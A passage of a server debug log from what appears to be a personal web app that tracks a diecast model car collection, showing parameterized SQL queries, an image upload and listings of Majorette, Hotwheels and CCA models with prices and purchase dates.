      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:04:42.237Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-03T13:05:32.886Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:05:32.887Z server-connect:app Executing action step identify
2026-02-03T13:05:32.887Z server-connect:app options: { provider: 'security' }
2026-02-03T13:05:32.887Z server-connect:output identity: 1
2026-02-03T13:05:32.887Z server-connect:app Executing action step restrict
2026-02-03T13:05:32.887Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:05:32.889Z server-connect:output restrict: undefined
2026-02-03T13:05:32.889Z server-connect:app Executing action step condition
2026-02-03T13:05:32.889Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:05:32.889Z server-connect:app Executing action step insert
2026-02-03T13:05:32.889Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:05:32.890Z server-connect:output insert: { affected: 1, identity: 135 }
2026-02-03T13:05:32.890Z server-connect:app Executing action step condition
2026-02-03T13:05:32.890Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-03T13:05:32.890Z server-connect:app Executing action step upload
2026-02-03T13:05:32.890Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:05:32.891Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-03T13:05:32.891Z server-connect:upload Process fields: 'images[]'
2026-02-03T13:05:32.891Z server-connect:upload Processing file: {
  name: 'ID062037_DUwadTbPLMwc.jpg',
  data: <Buffer >,
  size: 66632,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-2-20378841770123932885',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'e1549347565a2f47fe3b9cce5c5286b8',
  mv: [Function: mv]
}
2026-02-03T13:05:32.891Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID062037_DUwadTbPLMwc_7874e110-c4db-46f7-8065-1d2528f262ec.jpg',
  rel: 'public/assets/images/diecast/ID062037_DUwadTbPLMwc_7874e110-c4db-46f7-8065-1d2528f262ec.jpg'
}
2026-02-03T13:05:32.891Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID062037_DUwadTbPLMwc_7874e110-c4db-46f7-8065-1d2528f262ec.jpg',
  rel: 'assets/images/diecast/ID062037_DUwadTbPLMwc_7874e110-c4db-46f7-8065-1d2528f262ec.jpg'
}
2026-02-03T13:05:32.891Z server-connect:output upload_image: [
  {
    name: 'ID062037_DUwadTbPLMwc_7874e110-c4db-46f7-8065-1d2528f262ec.jpg',
    path: '/public/assets/images/diecast/ID062037_DUwadTbPLMwc_7874e110-c4db-46f7-8065-1d2528f262ec.jpg',
    url: '/assets/images/diecast/ID062037_DUwadTbPLMwc_7874e110-c4db-46f7-8065-1d2528f262ec.jpg',
    type: 'image/jpeg',
    size: 66632
  }
]
2026-02-03T13:05:32.891Z server-connect:app Executing action step repeat
2026-02-03T13:05:32.891Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:05:32.891Z server-connect:app Executing action step insert
2026-02-03T13:05:32.891Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:05:32.892Z server-connect:output images: { affected: 1, identity: 153 }
2026-02-03T13:05:32.892Z server-connect:output repeat_images: [ {} ]
2026-02-03T13:05:32.892Z server-connect:output condition: undefined
2026-02-03T13:05:32.892Z server-connect:output condition: undefined
2026-02-03T13:05:33.092Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:05:33.092Z server-connect:app Executing action step identify
2026-02-03T13:05:33.092Z server-connect:app options: { provider: 'security' }
2026-02-03T13:05:33.092Z server-connect:output identity: 1
2026-02-03T13:05:33.092Z server-connect:app Executing action step restrict
2026-02-03T13:05:33.092Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:05:33.093Z server-connect:output restrict: undefined
2026-02-03T13:05:33.093Z server-connect:app Executing action step paged
2026-02-03T13:05:33.093Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:05:33.096Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 117,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 135,
      model_name: '23 RAM 1500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:05:47.392Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:05:47.393Z server-connect:app Executing action step identify
2026-02-03T13:05:47.393Z server-connect:app options: { provider: 'security' }
2026-02-03T13:05:47.393Z server-connect:output identity: 1
2026-02-03T13:05:47.393Z server-connect:app Executing action step restrict
2026-02-03T13:05:47.393Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:05:47.394Z server-connect:output restrict: undefined
2026-02-03T13:05:47.394Z server-connect:app Executing action step condition
2026-02-03T13:05:47.394Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:05:47.394Z server-connect:app Executing action step update
2026-02-03T13:05:47.394Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:05:47.395Z server-connect:output update: { affected: 1 }
2026-02-03T13:05:47.395Z server-connect:app Executing action step upload
2026-02-03T13:05:47.395Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:05:47.395Z server-connect:output upload_image: []
2026-02-03T13:05:47.395Z server-connect:app Executing action step repeat
2026-02-03T13:05:47.395Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-03T13:05:47.395Z server-connect:output repeat_images: []
2026-02-03T13:05:47.395Z server-connect:output condition: undefined
2026-02-03T13:05:47.603Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:05:47.603Z server-connect:app Executing action step identify
2026-02-03T13:05:47.603Z server-connect:app options: { provider: 'security' }
2026-02-03T13:05:47.603Z server-connect:output identity: 1
2026-02-03T13:05:47.603Z server-connect:app Executing action step restrict
2026-02-03T13:05:47.603Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:05:47.604Z server-connect:output restrict: undefined
2026-02-03T13:05:47.604Z server-connect:app Executing action step paged
2026-02-03T13:05:47.604Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
